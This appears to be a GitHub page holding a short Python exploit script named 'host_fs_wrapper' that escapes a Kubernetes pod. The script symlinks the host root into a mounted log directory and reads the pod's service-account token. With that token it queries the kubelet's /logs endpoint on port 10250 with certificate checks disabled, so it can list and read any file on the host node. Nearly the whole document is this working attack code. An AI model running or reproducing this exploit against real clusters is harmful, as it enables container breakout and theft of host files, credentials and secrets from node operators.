-
Notifications
You must be signed in to change notification settings - Fork 14
/
Copy pathhost_fs_wrapper
72 lines (60 loc) · 1.82 KB
/
host_fs_wrapper
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/env python
import os
import sys
import requests
import urllib3
import netifaces
from bs4 import BeautifulSoup
import fnmatch
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def get_default_gateway():
return netifaces.gateways()['default'][netifaces.AF_INET][0]
LOGS_URL = "https://{}:10250/logs".format(get_default_gateway())
HOST_FS_BASE = LOGS_URL+"/root_link"
def attach_to_root():
os.symlink("/", "/var/log/host/root_link")
def detach_from_root():
os.remove("/var/log/host/root_link")
def read_folder(path):
soup = BeautifulSoup(s.get(HOST_FS_BASE+path).text, 'html.parser')
for link in soup.find_all('a'):
href = link.get('href')
if href:
yield href
def cat(path):
if path.endswith('/'):
print('error: {} is a directory'.format(path))
return
try:
attach_to_root()
print(s.get(HOST_FS_BASE+path).text)
except Exception as x:
print("ERROR: {}".format(x))
finally:
detach_from_root()
def ls(path):
try:
attach_to_root()
print('\n'.join(read_folder(path)))
except Exception as x:
print("ERROR: {}".format(x))
finally:
detach_from_root()
def main():
{"lsh": ls,"cath": cat}.get(sys.argv[1], lambda x: usage())(sys.argv[2])
def usage():
print("Usage: [cath|lsh] <host_path>")
sys.exit(1)
if __name__ == "__main__":
if len(sys.argv) < 3:
usage()
with open("/var/run/secrets/kubernetes.io/serviceaccount/token", 'r') as tf:
token = tf.read()
s = requests.session()
s.verify = False
s.headers.update({"Authorization": "Bearer {}".format(token)})
if s.get(LOGS_URL).status_code != 200:
print("[-] Cannot run exploit, no permissions to access /logs on the kubelet")
sys.exit(1)
main()